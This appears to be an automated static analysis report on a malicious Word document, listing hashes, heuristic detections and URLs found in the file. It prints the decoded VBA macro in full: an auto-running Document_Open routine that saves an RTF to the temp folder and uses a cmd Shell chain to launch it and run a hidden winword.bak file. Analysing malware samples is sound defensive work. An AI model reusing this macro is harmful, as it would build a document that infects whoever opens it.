Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 20702c4963f1acc9…

MALICIOUS

Office (OOXML)

18.9 KB Created: 2020-08-28 10:48:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-10-09
MD5: cef0889bdbbe04d20c85d566aafd08be SHA-1: 6428474972f0b9ea97564a5db288704edcb3f1b7 SHA-256: 20702c4963f1acc94bd5ea9122be1c258648f06887fd6bc24dbd7d691c35e5a5
138 Risk Score

Heuristics 6

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Shell ("cmd /c start /min winword %TEMP%/Guide.rtf & timeout 3 & ping google.com & %TEMP%\winword.bak")
  • cmd.exe reference in VBA high OLE_VBA_CMD
    cmd.exe reference in VBA
    Matched line in script
    Shell ("cmd /c start /min winword %TEMP%/Guide.rtf & timeout 3 & ping google.com & %TEMP%\winword.bak")
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    temp_path = Environ("TEMP") + "\"
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1381 bytes
SHA-256: f72507f22754383cea73fb9370043249eff9b3b6b17464773f24e35175d0cf7f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True


#If VBA7 And Win64 Then
Private Declare PtrSafe Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
#Else
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
#End If

Private Sub Document_Open()
Dim executable As String
temp_path = Environ("TEMP") + "\"
qwerty = temp_path + "Guide.rtf"
Selection.WholeStory
    Selection.Copy
    Documents.Add Template:="Normal", NewTemplate:=False, DocumentType:=0
    Selection.PasteAndFormat (wdPasteDefault)
    ActiveDocument.SaveAs FileName:=qwerty, FileFormat:= _
        wdFormatRTF, LockComments:=False, Password:="", AddToRecentFiles:= _
        True, WritePassword:="", ReadOnlyRecommended:=False, EmbedTrueTypeFonts:= _
        False, SaveNativePictureFormat:=False, SaveFormsData:=False, _
        SaveAsAOCELetter:=False
    Sleep (10)
Application.Documents("Guide.rtf").Close (Word.WdSaveOptions.wdDoNotSaveChanges)
'ActiveDocument.SaveAs2 ("%TEMP%/Guide.rtf")
Sleep (10)
Shell ("cmd /c start /min winword %TEMP%/Guide.rtf & timeout 3 & ping google.com & %TEMP%\winword.bak")




End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 17920 bytes
SHA-256: e4540b1268a5354298efe706d82cb7b7ce85ba1d92a1a35e7b60067fed81626b

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